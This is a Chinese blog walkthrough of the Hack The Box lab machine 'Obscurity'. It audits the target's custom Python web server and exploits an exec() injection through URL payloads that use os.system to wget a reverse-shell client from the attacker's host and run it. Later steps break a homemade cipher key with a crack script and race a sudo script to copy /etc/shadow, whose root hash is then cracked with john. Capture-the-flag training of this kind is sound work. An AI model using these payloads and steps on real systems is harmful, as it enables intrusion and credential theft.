渗透测试2:HTB之Obscurity

介绍

Obscurity几乎没有公共漏洞和暴露(Common Vulnerabilities & Exposures),所以kali的msf基本不起作用,对经常使用工具的人来说可能不适应。但却可以学到很多编程的知识。

前期工作

1.改hosts文件和nmap扫端口,在上一个博客已经细说过,这里不再重复。上一篇博客:渗透测试:HTB之OpenAdmin
2.扫出来的端口如下图
nmap
扫出来的端口只有22和8080,感觉事情并不那么简单。

搜集信息

1.使用dirb http://obscurity:8080/ > Webscann命令扫描Web目录并将结果放在Webscann文件内,趁扫目录的时间看下Web主页。
主页信息1
这里是Obscura,我们研究了独一无二的安全方法;如果黑客不了解你使用的软件,你就不会被黑。
这就是为什么我们主页的标题是‘Security Through Obscurity,我们从scratch编写了所有我们自制的软件,甚至正在运行的这个Web服务也是。这意味着不会有暴露漏洞存在,它是完全安全的’

分析:要渗透此服务器必须要了解他们的软件甚至源代码,怎么拿源代码是个大问题。不存在已知的暴露的漏洞,所以扔下手中的一堆工具吧。

在这里插入图片描述
我们自制的软件内容包含如下:
一个特制的Web服务器
目前正在解决一个小的不稳定问题;Web服务在启动30s后会重启
一个牢不可破的加密算法
更安全的SSH代替软件

分析:介绍里说有一个小bug,Web服务启动后30s会重启,不知道能不能利用。

联系方式
这一页是联系方式,注意到了邮箱,猜想服务器user用户可能也为secure

开发
开发者注意:当前Web服务的源代码文件是‘SuperSecureServer.py’,在一个隐藏的目录下

分析:说的很明显了,我们要找到这个隐藏目录并找到这个源代码。

2.扫Web目录完毕,但结果只有一个index.html。这时想到了既然是自己开发的可能存在注入漏洞,URL栏输入”http://obscurity:8080/'“(唉?不是说好的找隐藏目录嘛)
错误
果然出错了,之后又发现在返回404页面的时候存在XSS漏洞http://obscurity:8080/<script>alert(1);</script>,但是这个XSS对当下来说没有太大意义,找人社工才能用。
XSS
在充足的收集了页面信息后,有用的就只有找隐藏目录这一条路了。
既然是隐藏的文件,那么其链接格式应该是http://obscurity:8080/隐藏目录/SuperSecureServer.py,可以使用ffuf工具进行枚举。
下载ffuf:ffuf下载地址
使用教程:ffuf教程
使用命令

./ffuf -w /usr/share/dirb/wordlists/common.txt -u http://obscurity:8080/FUZZ/SuperSecureServer.py

结果如下
ffuf结果
隐藏目录名为develop。访问http://obscurity:8080/develop/SuperSecureServer.py
得到Web服务的源码,wget http://obscurity:8080/develop/SuperSecureServer.py将源码下载到本地,准备分析代码。

扫描二维码关注公众号,回复: 10465639 查看本文章

代码审计

1.为方便大家看,代码就不放百度网盘了,粘贴在下面。为了看懂Web服务代码,特意学了一晚上的socket和网络编程。一些重要的代码会注释,主要是Server类。(英文注释是原有的)
可能需要的资料:
socket编程详细介绍
在我其他博客有使用socket进行内网IP和端口扫描的小demo

import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)
#Request是将Http请求头进行了拆分和归类
class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}

#以下涉及大量的socket编程,没有接触过的同学在CSDN里搜相关教程
class Server:
    def __init__(self, host, port): 
        #设置Web服务器的IP地址和端口号   
        self.host = host
        self.port = port
        #tcp/ip套接字
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        #绑定IP和端口号
        self.sock.bind((self.host, self.port))

    def listen(self):
        #设置最大连接数
        self.sock.listen(5)
        while True:
            #接收客户端发来的请求
            client, address = self.sock.accept()
            #设置超时时间
            client.settimeout(60)
            #似乎是多线程?
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        #似乎是缓冲数据的大小
        size = 1024
        while True:
            try:
                #接收数据
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    #先解码,再将请求头拆分归类
                    req = Request(data.decode())
                    #分析请求的URL路径
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    
    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
#                print(str(request.method) + " " + str(request.doc), end=' ')
#                print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
        
        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0
    #判断请求的路径存不存在,重点注意有没有注入漏洞,是否可以跨文件请求
    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        #print("path: "+path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            #标记一下,可能为突破口
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

分析完代码后,知道了如何启动这个Web服务,在最后添加两行代码

s=Server("10.10.14.32",8080)
s.listen()

保存后,chmod +x SuperSecureServer.py给这个py文件执行权限,python3 SuperSecureServer.py在kali主机上启动了Web服务。
注意要在当下路径建立如下文件,否则会提示找不到文件。

./DocRoot/index.html
./DocRoot/errors/404.html

index.html里面写index这5个字母就行,404.html里写404,只是测试,又不是真的搭建Web服务。
2.寻找漏洞。在英文注释里提到了exec(info.format(path))这行代码,单独拿出来在windows的pycharm测试漏洞。(注:info=“output = ‘Document: {}’”)
测试
之前提到过在URL输入会报错,猜想存在注入漏洞,测试之。
错误
看错误信息,原本应将当做字符处理,但是很明显解析成了单引号。将path=/index.html';print(datetime.now())#。“;”符号不解释。“#”符号是python的注释符号。datetime.now()是获取当前时间。运行看结果。
成功
成功!没有提示报错。回到kali上,打开浏览器输入http://10.10.14.32:8080/index.html';print(datetime.now())#
(10.10.14.32是我kali的IP地址)
回车,看看控制台。

错误
查看源代码,发现是后面的代码还要调用path这个参数,而path这个参数是一行代码无法解析。
将path改为/index.html';path='/';print(datetime.now());'
重写了path参数,并在print后面添加“;”,将“#”改为目的是和后面的进行闭合
在这里插入图片描述
在这里插入图片描述
页面跳转到404,且日志输出了我们想要的结果,说明代码正常运行没有引起崩溃。典型的RCE漏洞。

利用RCE漏洞获取shell

1.接下来我们要上传py反向shell文件。
python反向shell源地址下载(翻墙):py反向shell
注意,源地址里源码有一处错误(serv_add参数),百度网盘里已更正
python反向shell百度网盘地址:py反向shell。(提取码:873p)
下载完成后,在文件里把IP和端口改成你本机的,两个文件都要改。
运行命令python3 -m http.server 80开启Web服务。
访问如下连接

http:/obscurity:8080/';path='/';os.system('wget http://10.10.14.32/client.py -O /tmp/client.py');'

如下图,日志显示下载成功。
下载成功
给client.py执行权限,先不要看下面的答案,试问自己知道怎么写了吗?

http:/obscurity:8080/';path='/';os.system('chmod +x /tmp/client.py');'

运行client.py,在运行前,请在自己本机运行python3 server.py开启监听

http:/obscurity:8080/';path='/';os.system('python3 /tmp/client.py');'

成功
左上角一直转圈圈且本机监听返回了信息,获取到了shell权限,用户为www-data

获取robert用户

1.继续收集信息,渗透的过程就是不断的收集信息。在robert的家目录下发现了很多重要的文件信息。
robert
看看这几个文件都是啥

check
用你的密钥加密这个文件,结果就是out.txt,确保你的密钥是正确的

看下out.txt文件
在这里插入图片描述
一串乱码密文。

passwordreminder.txt这个文件名起的就很有吸引力,打开看看

在这里插入图片描述
不是我们想要的,还有一个SuperSecureCrypt.py文件,应该是加密的方法,把代码复制到本地。那两个乱码文件不要复制,复制本身会破坏编码,粘贴下来也就不是原来的东西了。
注意:因为这个反向shell的socket的缓冲区大小为1024bytes,当你执行cat SuperSecureCrypt.py只会显示一部分,这时候你随便输入一个命令回车就好了,比如输入ls回车,把代码复制到本地后别忘了把里面的ls和回车删了,之后quit断开连接,再重新连接,不然你会发现一个很奇妙的bug

2.SuperSecureCrypt.py文件粘贴如下,很简单,耐下心来慢慢看,就稍微注释下。有问题可以私信我。

import sys
import argparse
#加密方法,以字符为单位,按ASCII码为运算单位
def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted
#解密方法,运算单位同上
def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted
#定义了几个参数
parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
                    metavar='InFile',
                    type=str,
                    help='The file to read',
                    required=False)

parser.add_argument('-o',
                    metavar='OutFile',
                    type=str,
                    help='Where to output the encrypted/decrypted file',
                    required=False)

parser.add_argument('-k',
                    metavar='Key',
                    type=str,
                    help='Key to use',
                    required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()

banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner += "  ############################\n"
banner += "  #        FILE MODE         #\n"
banner += "  ############################"
print(banner)
#文件读写,没什么好说的
if args.o == None or args.k == None or args.i == None:
    print("Missing args")
else:
    if args.d:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(decrypted)
    else:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Encrypting...")
        encrypted = encrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(encrypted)

比如要加密的明文为Hello,密钥为‘12’,如下表格,H字母和1进行加密算法,e字母和2进行加密算法…

明文 H e l l 0
密钥 1 2 1 2 1
密文 ??? ??? ??? ??? ???

要执行这个程序,需要以下几个参数
参数
比如,我要加密check.txt这个文件,密钥为‘123’,加密后的文件为check.txt.enc,那么命令为

python3 SuperSecureScrypt.py -i check.txt -k '123' -o check.txt.enc

要解密的话需要-d这个参数
此时当前路径多了一个check.txt.enc这个文件,打开看看。
enc
一串乱码密文。

3.整理下思路,根据check.txt的提示,以及现在掌握的情况,有明文check.txt,加密后的密文out.txt,和加密加密方法,而我们需要的是加密的密钥,也就是之前上面表格的中间部分。可以通过编写代码进行枚举获得密钥。
根据SuperSecureScrypt.py的代码,自己编写了相应的破解程序。(强烈建议自己编写)

import sys
import argparse

parser = argparse.ArgumentParser(description='Dencrypt programming')
parser.add_argument('-e',
                    metavar='',
                    type=str,
                    help='Encrypted word',
                    required=False)

parser.add_argument('-p',
                    metavar='',
                    type=str,
                    help='The plaintext you already know',
                    required=False)

args = parser.parse_args()

if args.e == None or args.p == None:
    print("Missing args")
else:
    print("Reading file {0}".format(args.e))
    with open(args.e,'r',encoding='UTF-8') as f:
        endata=f.read()
    with open(args.p,'r',encoding='UTF-8') as f:
        dedata=f.read()

def decrypt(entext,detext):
    keyword = ""
    a=-1
    for x in entext:
        a += 1
        newChr=ord(x)
        for i in range(48,123):
            decrypted=chr((newChr-i)%255)
            if decrypted == detext[a]:
                print(detext[a],end=" ")
                keyword += chr(i)+" "
                break
    return keyword

print(decrypt(endata,dedata))

脚本需要两个参数
参数
-e:密文文件,此例中就是out.txt
-p明文文件,此例中就是check.txt

将crack.py(破解程序)上传到靶机的/tmp
运行命令python3 crack.py -e /home/robert/out.txt -p /home/robert/check.txt
结果
第一大行是明文,下面是对应每个单词的密钥,密钥寻找重复的部分,密钥为alexandrovich

将密钥放在一个文件中,运行命令echo "alexandrovich" > keyword

拿到了一个密钥,passwordreminder.txt还没解开,猜想alexandrovich是它的明文。运行以下命令

python3 crack.py -e /home/robert/passwordreminder.txt -p keyword

获得密码
获得密钥,因为明文是通过echo写入的,echo默认在最后加入回车符,所以密钥最后一位不要。尝试使用这个密钥ssh登录robert。
成功
登录成功!获取了robert用户。

获取root

1.记得还有一个文件夹没看
家
进入到BetterSSH文件夹下,又有个BetterSSH.py的程序。
程序如下:

import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass
    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

程序将/etc/shadow复制放入了/tmp/SSH/文件夹下,然后对你输入的账号和密码进行验证,验证完毕就将这个文件删除。尝试执行python3 BetterSSH.py,权限拒绝。sudo -l看一下。
sudo
最后一行,和上一篇博客提到的差不多。

sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

回车,就进入了验证阶段。重点来了,你可以随便输入账号密码,这时程序会将/etc/shadow拷贝到/tmp/SSH下,文件名随机,只要你手速快就可以把这个文件copy过来(WTF???),什么,手速不行?你需要锻炼呐骚年。借你一物。(强烈建议自己编写)

#/bin/bash
path=$1
while (true); do
    file=$(ls $path)
    if [ "${file}" == "" ]
    then
        continue
    else
        mv $path/$file ./
        break
    fi 
done

shell脚本参数就一个:要监控的文件夹路径
将脚本放在传到靶机上放在/tmp下。
sh
运行命令:

cd /tmp
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py | ./scanndir.sh /tmp/SSH 

随便输个账号密码,回车提示报错,找不到文件强制结束进程。
偷得
因为文件已经被放在了当前目录
文件
cat查看,复制root的密码密文到本机上,放在passenc文件里暴力破解。

john passenc

之后得到了root的密码。整个渗透流程结束,别忘了删除你上传的那些文件。

发布了11 篇原创文章 · 获赞 19 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/sdihvai/article/details/103998782
HTB
今日推荐